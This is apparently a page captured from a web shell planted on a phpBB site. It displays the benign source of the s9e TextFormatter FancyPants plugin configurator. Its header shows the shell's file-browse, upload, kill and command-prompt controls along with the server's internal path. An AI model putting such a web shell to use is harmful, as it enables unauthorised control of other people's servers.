.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/phpBB3/vendor/s9e/text-formatter/src/Plugins/FancyPants/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/phpBB3/vendor/s9e/text-formatter/src/Plugins/FancyPants/Configurator.php

    <?php
    
    /**
    * @package   s9e\TextFormatter
    * @copyright Copyright (c) 2010-2020 The s9e authors
    * @license   http://www.opensource.org/licenses/mit-license.php The MIT License
    */
    namespace s9e\TextFormatter\Plugins\FancyPants;
    
    use s9e\TextFormatter\Plugins\ConfiguratorBase;
    
    /**
    * This plugin combines some of the functionalities found in SmartyPants and Textile
    *
    * @link http://daringfireball.net/projects/smartypants/
    * @link http://textile.thresholdstate.com/
    */
    class Configurator extends ConfiguratorBase
    {
    	/**
    	* @var string Name of attribute used to for the replacement
    	*/
    	protected $attrName = 'char';
    
    	/**
    	* @var string[] List of passes that have been explicitly disabled
    	*/
    	protected $disabledPasses = [];
    
    	/**
    	* @var string Name of the tag used to mark the text to replace
    	*/
    	protected $tagName = 'FP';
    
    	/**
    	* Plugin's setup
    	*
    	* Will initialize create the plugin's tag if it does not exist
    	*/
    	protected function setUp()
    	{
    		if (isset($this->configurator->tags[$this->tagName]))
    		{
    			return;
    		}
    
    		// Create tag
    		$tag = $this->configurator->tags->add($this->tagName);
    
    		// Create attribute
    		$tag->attributes->add($this->attrName);
    
    		// Create a template that replaces its content with the replacement char
    		$tag->template
    			= '<xsl:value-of select="@' . htmlspecialchars($this->attrName) . '"/>';
    	}
    
    	/**
    	* Disable a given pass
    	*
    	* @param  string $passName
    	* @return void
    	*/
    	public function disablePass($passName)
    	{
    		$this->disabledPasses[] = $passName;
    	}
    
    	/**
    	* Enable a given pass
    	*
    	* @param  string $passName
    	* @return void
    	*/
    	public function enablePass($passName)
    	{
    		foreach (array_keys($this->disabledPasses, $passName, true) as $k)
    		{
    			unset($this->disabledPasses[$k]);
    		}
    	}
    
    	/**
    	* {@inheritdoc}
    	*/
    	public function asConfig()
    	{
    		$config = [
    			'attrName' => $this->attrName,
    			'tagName'  => $this->tagName
    		];
    		foreach ($this->disabledPasses as $passName)
    		{
    			$config['disable' . $passName] = true;
    		}
    
    		return $config;
    	}
    }